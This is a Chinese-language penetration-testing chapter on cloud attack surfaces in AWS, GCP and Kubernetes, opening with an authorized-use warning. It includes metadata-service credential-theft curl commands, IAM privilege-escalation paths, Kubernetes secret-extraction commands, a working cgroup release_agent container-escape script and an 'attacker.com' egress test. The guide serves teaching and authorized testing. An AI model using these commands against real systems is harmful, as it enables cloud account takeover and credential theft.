第 7 章 · 04 云专项(AWS / GCP / Kubernetes)

第 7 章 · 04 云专项(AWS / GCP / Kubernetes)

本节摘要:云环境的攻击面与传统的「主机+应用」截然不同——它由 IAM 权限图、资源策略、元数据服务、容器编排决定。AWS 的 iam:CreatePolicyVersion 能给低权用户自授 admin;GCP 的 iam.serviceAccountKeys.create 能导出高权 SA 密钥;Kubernetes 的单个 cluster-admin 绑定或缺失 NetworkPolicy 就能让攻击者从 pod 横向到集群再到云账户。本节合并 AWS、GCP、Kubernetes 三大云目标,聚焦「云特有的错误配置」:公开存储桶、IMDS 元数据滥用、IAM 提权链、RBAC 过宽、容器逃逸。核心心法是「云失败是链式的」——单个错配角色绑定 + 缺失网络策略 = 横向移动 = secret 提取 = 云凭证访问,要测整条链而非孤立发现。

⚠️ 仅限授权测试:本节所有技术仅用于你自己的云账户或集群,或有书面授权的渗透测试。云环境的提权与数据外泄影响面极大,务必在明确授权范围内进行,且避免创建持久化后门(新 access key、后门角色)除非在 scope 内。未经授权对他人系统使用这些技术是非法的。

学习目标

阅读完本节,你应当能够:

1. 掌握 AWS 的凭证发现、未认证/已认证枚举,以及 S3 存在性 vs 公开列出 的区分。
2. 识别 AWS 的 IAM 提权路径(CreatePolicyVersion、PassRole+CreateFunction、AssumeRole 等)与 IMDSv1/v2 元数据滥用。
3. 掌握 GCP 的服务账户密钥、actAs/impersonation、metadata server、Workload Identity 缺陷。
4. 识别 GCP 的 Cloud Storage/BigQuery 公开暴露与 terraform.tfstate 泄露。
5. 理解 Kubernetes 的 RBAC 过宽、API/kubelet/etcd 暴露、容器逃逸(privileged/hostPID/socket)、NetworkPolicy 缺口。
6. 掌握 K8s 的 secret 管理、供应链风险、admission webhook 绕过。
7. 在三个云上做「从任意凭证出发的链式测试」,并区分真正可利用与误报。

一、AWS

AWS 错配频繁暴露凭证、数据与横向移动路径。本节覆盖直接 AWS API 测试与从 EC2/Lambda/容器工作负载的后妥协枚举。对 SSRF 介导的元数据访问,结合 ssrf 技能。

1.1 攻击面

身份:IAM 用户、角色、组、策略(inline 与 managed);access key、session token、SSO/SAML 联合;跨账户角色、信任策略、permission boundary。

存储与数据:S3 bucket、object、bucket policy、ACL、Block Public Access 设置;EBS 快照、RDS 快照、公开 AMI;Secrets Manager、SSM Parameter Store、KMS key。

计算:EC2 实例、Lambda 函数、ECS/EKS 任务;169.254.169.254 的实例元数据服务(IMDSv1/v2);user data、launch template、AMI。

网络:安全组、NACL、VPC endpoint、公开子网;ELB/ALB/CloudFront 错配。

管理:CloudTrail、Config、GuardDuty 缺口;Cognito user pool、API Gateway、AppSync。

1.2 侦察:凭证发现与未认证枚举

凭证发现:环境变量 AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY、AWS_SESSION_TOKEN;~/.aws/credentials、~/.aws/config、CI/CD env var、.env 文件;源码、移动应用、JS bundle 里的硬编码 key。

未认证枚举——用两个独立检查,它们回答不同问题,绝不可混为一谈:

1. bucket 存在性(名字解析吗?)

目标:无需 s3:ListBucket 得知 bucket 名在 AWS 是否存在。信号是 head-bucket 或 curl -I 的 HTTP 状态——不是 aws s3 ls。403 Forbidden → bucket 存在但你无权访问(私有或错误账户);404 Not Found → 该区域不存在该 bucket,或名字错。

aws s3api head-bucket --bucket target-bucket --no-sign-request 2>&1
curl -I https://target-bucket.s3.amazonaws.com/
​

2. 公开列出(是否授予匿名 ListBucket?)

目标:确认 s3:ListBucket 公开授予——这是比单纯存在性更强、独立的发现。仅为此步运行 aws s3 ls;成功列出返回对象 key/prefix。此处失败不能反证存在性(私有 bucket 在 list 上仍返回 403)。

aws s3 ls s3://target-bucket --no-sign-request
​

已认证枚举(带任意凭证):

aws sts get-caller-identity
aws iam get-account-authorization-details 2>/dev/null
aws iam list-users
aws iam list-roles
aws iam list-attached-user-policies --user-name <user>
aws s3 ls
aws ec2 describe-instances
​

1.3 典型缺陷:S3、IAM 提权、IMDS

S3 错配:公开读写 bucket(ACL public-read、policy "Principal":"*")；AuthenticatedUsers 组授权(http://acs.amazonaws.com/groups/global/AuthenticatedUsers)；公开启用 ListBucket → 对象 key 枚举；敏感对象 key 可猜：backup/、db/、.env、config/、logs/。

aws s3 ls s3://BUCKET --no-sign-request
aws s3 cp s3://BUCKET/sensitive-file . --no-sign-request
curl https://BUCKET.s3.amazonaws.com/
​

IAM 提权——常见路径(可能时用 aws iam simulate-principal-policy 验证):

aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | cut -d/ -f2)
aws iam simulate-principal-policy --policy-source-arn <arn> --action-names iam:CreateAccessKey --resource-arns "*"
​

实例元数据滥用:

IMDSv1(无需 token):

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
curl http://169.254.169.254/latest/user-data
​

IMDSv2 绕过场景:服务端转发 X-aws-ec2-metadata-token 的 SSRF 头部注入；无 hop limit 强制的容器 sidecar；允许 link-local 访问的错配代理。

1.4 快照、Lambda、Cognito、KMS

快照与备份暴露:公开 EBS/RDS 快照 aws ec2 describe-snapshots --restorable-by-user-names all；含 secret/key 的公开 AMI；跨账户无隔离的备份库。

Lambda 与 serverless:过权执行角色(Lambda 角色带 AdministratorAccess)；含 secret 的环境变量(经 lambda:GetFunctionConfiguration 可见)；无认证的 Function URL 或 API Gateway；在攻击者控制事件上触发的 event source mapping。

Cognito 错配:自注册启用 + 默认提权组成员；confidential 流程缺 app client secret；自定义属性写权限允许特权字段(custom:role、custom:admin)；后端信任 ID token custom claim 不验证。

KMS 与 secret:KMS key policy 允许 Principal: * 或过宽账户；Secrets Manager secret 被非预期角色读取；/ 下 SSM parameter 对未认证或低权调用者 GetParameter。

1.5 高级技巧、测试方法与验证

跨账户角色假设:找信任 * 或宽外部账户的角色；confused deputy:服务无 external ID 验证就假设角色。

CloudFront origin 暴露:origin 直指 S3 网站或 ALB 绕过 WAF；签名 URL/cookie 错配允许对象访问。

基于资源的策略缺口:S3 bucket policy 允许非预期 principal 的 s3:GetObject；Lambda 资源策略 Principal: * 配弱条件 key。

测试方法:

1. 发现凭证——代码、env、元数据、SSRF 里的 key。
2. 识别主体——get-caller-identity，映射有效权限。
3. 枚举资源——策略边界内的 S3、EC2、IAM、Lambda。
4. 提权路径——对附加策略跑提权清单。
5. 数据暴露——公开 bucket、快照、secret、user-data 脚本。
6. 持久化——新 access key、后门角色、Lambda 触发器(仅在授权 scope 内)。

验证:演示 S3 对象或快照的非授权读/写,带证据(对象 key、ETag)；展示从低权到高权的 IAM 提权,带精确 API 调用与结果权限；证明元数据凭证窃取路径(SSRF 或 IMDS),带脱敏的临时凭证 scope；记录资源 ARN、策略语句、错配根因；确认修复会阻断特定 principal/action/resource 组合。

1.6 误报、影响与工具

误报:故意公开的静态资源 bucket,无敏感 key；空营销 bucket 的只读 s3:ListBucket；测试上下文不可达的元数据端点(无 SSRF、IMDSv2 + hop limit 强制)；被 permission boundary 或 SCP 阻止的模拟提权；S3 的 403 表明存在但不可读(仍记为侦察,非数据泄露)。

影响:S3/RDS/快照批量数据外泄；经 IAM 提权的完整账户或组织妥协；经新 key 或角色的持久后门访问；合规暴露(未加密公开 bucket 里的 PII/PCI)。

工具(优先凭证轻量、一次安装的 CLI；沙箱有 awscli/python/pipx/go 与构建时 egress):

• awscli——主枚举工具,永远先 aws sts get-caller-identity。
• enumerate-iam(andresriancho)——读不到自己策略时暴力测 key 能调哪些 API。
• cloudsplaining(Salesforce)——离线 IAM 策略风险分析,在 auth-details JSON 里找提权/资源暴露。
• CloudFox(BishopFox)——单 Go 二进制,快速后妥协清单与「从这里我能做什么」。
• Pacu(Rhino Security Labs)——标准 AWS 利用框架,iam__privesc_scan 模块自动化上面的提权表。

💡 Pro Tips:永远先 get-caller-identity 知道有效主体；区分 S3 的 403 vs 404——都有用但含义不同；从元数据查实例 profile 角色,不只是用户凭证；审查角色的信任策略,不只是权限策略；结合子域接管——DNS CNAME 里悬空的 S3 bucket 名。

二、GCP

GCP 错配暴露项目数据、服务账户密钥、跨 Compute/Cloud Storage/Cloud Functions/GKE 的横向移动路径。本节覆盖直接 GCP API 测试与从 VM/容器的后妥协枚举。

2.1 攻击面

身份:IAM 策略(项目/folder/org 级绑定)；服务账户、密钥(JSON)、Workload Identity、impersonation；compute 实例与 Cloud Functions 的 OAuth scope。

存储与数据:Cloud Storage(GCS)bucket 与 object；BigQuery 数据集、Cloud SQL 实例、Firestore(见 firebase_firestore 技能)；Secret Manager、Cloud KMS key。

计算:Compute Engine VM、Cloud Run、Cloud Functions、GKE 集群；http://metadata.google.internal/computeMetadata/v1/ 元数据服务器；启动脚本、实例模板、自定义镜像。

管理:Cloud Console、gcloud CLI、Deployment Manager、Terraform state bucket；Cloud Logging、Error Reporting、Cloud Build 触发器。

2.2 侦察:凭证发现与未认证枚举

凭证发现:repo、CI/CD、.env、备份 bucket 里的服务账户 JSON key；GOOGLE_APPLICATION_CREDENTIALS 环境变量；VM 上的默认 Compute Engine 服务账户(常过权)；浏览器/本地 gcloud 配置(~/.config/gcloud/)里的 OAuth token。

未认证枚举:避免 gsutil 做匿名检查——它会用环境 gcloud 或应用默认凭证,产生假的公开 bucket 发现。unset GOOGLE_APPLICATION_CREDENTIALS 并用未认证 HTTP。

# GCS bucket 存在性(403 = 存在但私有,404 = 未找到/错区域)
curl -I https://storage.googleapis.com/target-bucket/

# 匿名列出(无 Authorization 头;确认 allUsers/allAuthenticatedUsers List)
curl https://storage.googleapis.com/target-bucket/

# 替代 URL 形态
curl -I https://target-bucket.storage.googleapis.com/
​

已认证枚举:

gcloud auth list
gcloud config get-value project
gcloud projects get-iam-policy PROJECT_ID
gcloud iam service-accounts list
gcloud storage ls
gcloud compute instances list
gcloud container clusters list
​

2.3 典型缺陷:Cloud Storage、IAM 提权、元数据

Cloud Storage 错配:公开 bucket(allUsers 或 allAuthenticatedUsers 配 roles/storage.objectViewer 或 objectAdmin)；可列 bucket 泄露对象 key：备份、.env、terraform.tfstate、SA key；关闭 uniform bucket-level access 配 legacy ACL public-read；过长 TTL 或过宽对象前缀的签名 URL。

gsutil iam get gs://BUCKET          # 需凭证
curl https://storage.googleapis.com/BUCKET/   # 匿名列出检查
curl -I https://storage.googleapis.com/BUCKET/sensitive.sql
​

IAM 提权(用 gcloud iam/policy simulator 验证):

gcloud projects get-iam-policy PROJECT --flatten="bindings[].members" --filter="bindings.members:user:YOU"
gcloud iam roles list --project=PROJECT
​

元数据服务器滥用——从 GCP VM、Cloud Run(若元数据可达)、被攻陷 pod 的任意代码执行：

curl -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

curl -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email
​

默认 compute SA 可能对项目有 editor 角色(legacy 项目)；请求的 OAuth scope 可能允许 cloud-platform 全访问；GKE 的 Workload Identity 错配 → 跨 namespace SA token 窃取。

2.4 GKE、Cloud Functions/Run、BigQuery、Secret Manager

GKE 错配:Dashboard/UI 暴露、匿名 RBAC(见 kubernetes 技能的 K8s 层)；未强制 Workload Identity,pod 用节点 SA 配宽 GCP 权限；kubectl proxy 或 kubelet 只读端口暴露；ConfigMap 里的 secret；无认证拉取 GCR/Artifact Registry 镜像。

Cloud Functions / Cloud Run:无认证的 HTTP 触发函数(--allow-unauthenticated)；含 API key 的环境变量(gcloud functions describe)；过权运行时服务账户(roles/editor)；接受攻击者控制 Pub/Sub 消息的事件触发器。

BigQuery 与 Cloud SQL:公开数据集(数据集 IAM 上 allUsers)；弱/无密码的 Cloud SQL 公网 IP；公开 GCS bucket 里的导出快照。

Secret Manager 与 KMS:授予非预期 principal 的 secretmanager.versions.access；经错配 Cloud Functions env var 复制到日志的 secret；allAuthenticatedUsers 的 KMS cryptoKey IAM。

2.5 高级技巧、测试方法与验证

GCS 里的 Terraform state:可列 bucket 里的 terraform.tfstate → 全部资源地址,有时明文 secret。

服务账户 impersonation 链:目标 SA 上的 roles/iam.serviceAccountTokenCreator → 短命 access token。

组织/folder 策略缺口:项目级 deny 策略未应用；子项目继承宽松 folder IAM。

测试方法:

1. 发现凭证——代码、元数据、SSRF、公开 bucket 里的 key。
2. 识别主体——gcloud auth list，有效项目 IAM。
3. 枚举存储——公开/可列 bucket，敏感对象名。
4. 提权路径——映射 actAs、key 创建、函数部署权限。
5. 元数据——从 GCP 工作负载的任意 shell 取 SA token 与 scope。
6. GKE 层——从 GCP IAM 枢纽到集群(结合 kubernetes 技能)。

验证:演示非授权 GCS 对象读/列,带 bucket URL 与对象 key；展示 IAM 提权路径,带精确角色/成员绑定与结果访问；证明从 compute 上下文的元数据 token 窃取,带脱敏 token scope；记录项目 ID、资源名、IAM 绑定根因；确认修复阻断特定 principal/permission/resource 组合。

误报:故意公开的静态资源 bucket,无敏感对象；测试上下文不可达的元数据服务器(无 RCE/SSRF)；来自元数据的 SA token 仅对单 bucket 有 devstorage.read_only(记 scope,非完整泄露)；bucket HEAD 的 403 表明存在但不可读。

💡 Pro Tips:永远同时查 gsutil iam get 与匿名 curl——IAM 与 ACL 两层不同；公开 bucket 里搜 *.json 服务账户 key 与 terraform.tfstate；默认 compute SA 邮箱：PROJECT_NUMBER-compute@developer.gserviceaccount.com；目标跑在 GKE 时结合 kubernetes 技能；Firebase 托管的应用底层常用 GCP 项目——从 web 枢纽到配置里的 GCP 项目 ID。

三、Kubernetes

Kubernetes 集群经 API server、kubelet、etcd、工作负载配置暴露大攻击面。RBAC、NetworkPolicy、容器安全上下文的错配常见,且频繁导致提权、横向移动、集群接管。本节覆盖直接集群访问场景。

3.1 攻击面

范围:Kubernetes API server(通常 6443 或 443)；kubelet API(10250 认证,10255 deprecated 只读)；etcd(2379/2380,存全部集群状态含 secret)；pod 可达的云提供商元数据端点；容器运行时(containerd、CRI-O)经 socket；服务网格 sidecar 与 ingress controller。

入口点:弱或匿名认证的暴露 API server；挂载服务账户 token 的被攻陷 pod；带集群凭证的 CI/CD runner(kubeconfig、IRSA token)；暴露的管理 UI(Kubernetes Dashboard、Rancher、ArgoCD)；经 SSH、云实例元数据或容器逃逸的节点级访问。

认证方式:服务账户 token(挂载在 /var/run/secrets/kubernetes.io/serviceaccount/token)；客户端证书(kubeconfig,常见于 CI/CD 配置、home 目录、云存储)；OIDC token、webhook token、云 IAM-to-K8s 映射(EKS IRSA、GKE Workload Identity)；匿名访问(默认启用,未认证请求成 system:anonymous/system:unauthenticated,仅有显式绑定的 RBAC 权限如公开 discovery/info 角色)。

3.2 典型缺陷:RBAC 过宽

RBAC 错配:ClusterRole/Role 绑定里的通配 verb 或 resource(verbs: ["*"]、resources: ["*"])；cluster-admin 绑定到不需要它的服务账户；pod 跑 automountServiceAccountToken: true(默认)却不需要 API 访问；system:anonymous 或 system:unauthenticated 组绑定宽松角色；授予 escalate、bind、impersonate verb 的角色。

kubectl auth can-i --list
kubectl auth can-i create pods --as=system:serviceaccount:default:default
kubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.name == "system:anonymous")'
​

3.3 暴露的 API、容器逃逸

暴露 API:--anonymous-auth=true 配匿名用户宽松 RBAC 的 API server；kubelet 只读 10255 端口服务 /pods、/spec、/stats；无客户端证书认证的 etcd etcdctl get / --prefix --keys-only；带 skip-login 或默认 token 的 Kubernetes Dashboard；泄露内部状态的 metrics 端点(/metrics、/debug/pprof)。

curl -sk https://<api-server>:6443/api/v1/namespaces
curl -s http://<node-ip>:10255/pods
curl -s http://<node-ip>:10255/metrics
​

容器逃逸:securityContext 里 privileged: true 授予全部 Linux capability 与设备访问；hostPID: true 启用 /proc 访问宿主进程、nsenter 进宿主 namespace；hostNetwork: true 把 pod 放宿主网络栈；挂载 Docker/containerd socket(/var/run/docker.sock、/run/containerd/containerd.sock)；CAP_SYS_ADMIN + 无约束 AppArmor 启用经 cgroup release_agent 的 mount namespace 逃逸；到 /、/etc、/var/run 的可写 hostPath 挂载。

# 检查是否特权运行
cat /proc/1/status | grep -i cap
# 经 hostPID 列宿主进程
ls /proc/*/cmdline 2>/dev/null | head -20
# 检查挂载的 socket
ls -la /var/run/docker.sock /run/containerd/containerd.sock 2>/dev/null
# cgroup v1 release_agent 逃逸(特权 + CAP_SYS_ADMIN)
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*upperdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/exploit.sh" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /exploit.sh && echo "ps aux > $host_path/out" >> /exploit.sh && chmod +x /exploit.sh
sh -c 'echo $$ > /tmp/cgrp/x/cgroup.procs'
​

3.4 NetworkPolicy、secret、工作负载错配

NetworkPolicy 缺口:无 NetworkPolicy 对象 = 默认全部 pod-to-pod 流量允许；缺 egress 策略,pod 可达云元数据、外部 C2、内部服务；按 namespace label 选择但不防 label-squating；DNS(53 UDP/TCP)常豁免 egress 规则,启用 DNS 隧道。

kubectl get networkpolicies --all-namespaces
# 从 pod 内测横向可达
curl -s http://<other-pod-ip>:<port>/
curl -s http://169.254.169.254/latest/meta-data/
nslookup attacker.com
​

secret 管理问题:etcd 里 base64 存的 secret(默认不静态加密)；经环境变量注入的 secret(/proc/*/environ、docker inspect、crash dump 可见)；含凭证/API key/连接串的 ConfigMap；从不调 API 却自动挂载的 SA token；含完整 chart value 凭证的 Helm release secret。

kubectl get secrets --all-namespaces -o json | jq '.items[].metadata.name'
kubectl get secret <name> -o json | jq '.data | map_values(@base64d)'
env | grep -iE 'password|key|token|secret|credential'
cat /var/run/secrets/kubernetes.io/serviceaccount/token
​

工作负载错配:以 root 运行容器(runAsUser: 0 或无 securityContext)；缺 readOnlyRootFilesystem: true；无资源限制(启用资源耗尽攻击、吵闹邻居 DoS)；allowPrivilegeEscalation: true(默认)；缺 seccompProfile 或 AppArmor 注解。

kubectl get pods -o json | jq '.items[].spec.containers[].securityContext'
kubectl get pods -o json | jq '.items[] | select(.spec.containers[].securityContext.privileged == true) | .metadata.name'
​

3.5 供应链风险

供应链:无 digest 钉定的公开 registry 镜像(:latest tag 可变)；无镜像签名或 admission 策略(Kyverno、OPA Gatekeeper、Sigstore)；拉取不可信镜像的 init container 或 sidecar injector；未验证 repo 带安装后 hook 的 Helm chart；宽集群访问无镜像扫描的 CI/CD 流水线。

kubectl get pods -o json | jq '.items[].spec.containers[].image' | grep -v '@sha256'
kubectl get pods -o json | jq '.items[].spec.containers[].image' | grep ':latest'
​

3.6 绕过技巧

token 复用:一个 pod 的 SA token 可访问该 SA 有权的任意 API 对象；CI/CD 系统的 token 常有宽访问(部署、创建、删除)；token 验证错配时过期 token 可能仍工作。

label 操纵:若 RBAC 或 NetworkPolicy 按 label 选择,且攻击者能给自己 pod 设 label,就能绕过限制；用于 admission control 的 namespace label 在攻击者对 namespace 有 update 时可操纵。

admission webhook 绕过:dry-run 请求绕过 mutating webhook；某些 webhook 只查特定 API group,留下其他未保护；failurePolicy: Ignore 配置的 webhook 失败时静默绕过校验。

kubelet 直接访问:10250 端口的 kubelet API 独立于 API server 接受命令；能达节点 kubelet 就能 exec 进该节点任意 pod；匿名 kubelet 访问 curl -sk https://<node>:10250/runningpods/。

3.7 测试方法、验证与误报

测试方法:

1. 枚举访问——确定当前认证上下文 kubectl auth whoami、kubectl auth can-i --list。
2. 映射集群——列 namespace、pod、service、node 及其 label kubectl get all -A。
3. 查 RBAC——审 ClusterRoleBinding 与 RoleBinding 的过宽授予。
4. 探 API——从你的上下文测 API server、kubelet、etcd、dashboard 可达性。
5. 检查工作负载——securityContext、hostPID/hostNetwork、volume mount、image tag。
6. 测网络可达——从被攻陷 pod 探其他 pod、service、元数据端点、外部主机。
7. 提取 secret——枚举 secret、env var、挂载 token、Helm release value。
8. 提权——链发现：SA token + 宽松 RBAC → 创建特权 pod → 节点访问 → cluster-admin。
9. 基准——跑 kube-bench(CIS 合规)、kubesec(工作负载加固评分)、trivy(镜像 CVE)。

验证:证明访问超出预期 scope(跨 namespace secret 读、exec 进他组 pod)；展示从初始访问到提权的路径(SA token → cluster-admin)；展示实际凭证提取(token、kubeconfig)并验证它授予声称的访问级；对容器逃逸,展示宿主文件系统读或宿主进程可见性,无破坏性动作；经成功的跨 namespace 或元数据端点连接确认 NetworkPolicy 缺口。

误报:kubectl auth can-i 对受 admission controller 或 OPA 策略限制的 SA 返回 yes；kubelet 10250 可达但返回 401/403(认证正常工作)；用默认拒绝 CNI(Calico GlobalNetworkPolicy)的 namespace 里缺 NetworkPolicy；挂载但未用的 SA token,admission controller 阻止其滥用；用 :latest tag 但从启用了不可变 tag 的私有 registry 拉取的镜像。

3.8 影响与 Pro Tips

影响:单个错配 RBAC 绑定或服务账户的完整集群妥协；经 pod-to-pod 通信跨 namespace 与工作负载横向移动；经 pod 元数据端点访问的云账户妥协(AWS key、GCP token、Azure MSI)；经攻陷基础镜像或 Helm chart hook 的供应链攻击；secret、ConfigMap、持久卷的数据外泄；无资源配额集群的资源耗尽 DoS。

💡 Pro Tips:永远先 kubectl auth can-i --list 了解你的爆炸半径再探任何东西；/var/run/secrets/ 里的 SA token 是从任意被攻陷 pod 的首个枢纽点；早测元数据端点访问——pod 的云凭证是最快到 cluster-admin 的路；查 kube-system namespace 访问——那里的 controller 常有 cluster-admin 等价权限；kube-bench 输出吵但突出了最关键的 CIS 失败；经 cgroup release_agent 的容器逃逸需 CAP_SYS_ADMIN(经 privileged: true 或显式 capability)加宽松 AppArmor/seccomp；kube-system 的 Helm release secret(sh.helm.release.v1.*)常含 chart value 的凭证；pod 内 DNS 揭示服务名 dig +short SRV *.*.svc.cluster.local；测 RBAC 时试 --as= impersonation 查其他 SA 能做什么。

本节要点回顾

1. AWS S3 双查:bucket 存在性(head-bucket/curl -I,403 vs 404)与公开列出(aws s3 ls --no-sign-request)是两个独立检查,不可混为一谈;403 = 存在但私有(记为侦察),公开 ListBucket = 数据泄露发现。
2. AWS IAM 提权表:CreatePolicyVersion/SetDefaultPolicyVersion/PassRole+CreateFunction/AssumeRole/UpdateAssumeRolePolicy/AttachUserPolicy 是常见路径,用 simulate-principal-policy 验证;CloudFox/Pacu/cloudsplaining 自动化扫描。
3. AWS IMDS:IMDSv1 无需 token 直接取角色凭证;IMDSv2 绕过靠 SSRF 头部转发、sidecar 无 hop limit、错配代理;user-data 脚本常含 secret。
4. GCP 双层存储:gsutil iam get(需凭证,IAM 层)与匿名 curl(ACL 层)不同——永远都查;公开 bucket 里猎 terraform.tfstate 与 *.json SA key。
5. GCP 提权:iam.serviceAccountKeys.create(导出高权 SA key)、actAs+create(VM/Function/Run 以特权 SA 部署)、setIamPolicy(自授);默认 compute SA 常有 editor 角色。
6. GCP 元数据:http://metadata.google.internal 需 Metadata-Flavor: Google 头;取 SA token + scope;GKE Workload Identity 错配 → 跨 namespace SA token 窃取。
7. K8s RBAC 过宽:通配 verb/resource、cluster-admin 绑定到不需它的 SA、automountServiceAccountToken: true 默认、escalate/bind/impersonate verb 是高危;kubectl auth can-i --list 是第一步。
8. K8s 容器逃逸:privileged: true、hostPID、hostNetwork、挂载 /var/run/docker.sock、CAP_SYS_ADMIN + cgroup release_agent、可写 hostPath 到 / 是五大逃逸面。
9. K8s secret 与供应链:etcd 默认不静态加密;env var secret 在 /proc/*/environ 可见;Helm release secret 含 chart value 凭证;无 digest 钉定的 :latest 镜像是供应链风险。
10. 共性心法:云失败是链式的——单个错配角色绑定 + 缺失 NetworkPolicy + 自动挂载 SA token = pod 横向 → secret 提取 → 云凭证 → 集群/账户妥协。要测整条链,从「我有什么凭证/上下文」出发,枚举它能达的,系统化提权;auth can-i --list/get-caller-identity/gcloud auth list 是三大云的「先问我是谁」。

至此,第 7 章四节完成——从应用框架(Django/FastAPI/NestJS/Next.js)到第三方技术(AD/Auth0/Firebase/Grafana/Supabase),从协议(GraphQL/OAuth)到云(AWS/GCP/Kubernetes),专项渗透的核心是「特定技术栈的特有攻击面」。下一章进入高级配置与技能体系,看 Strix 如何把这些专项知识系统化地组织成可复用的技能包。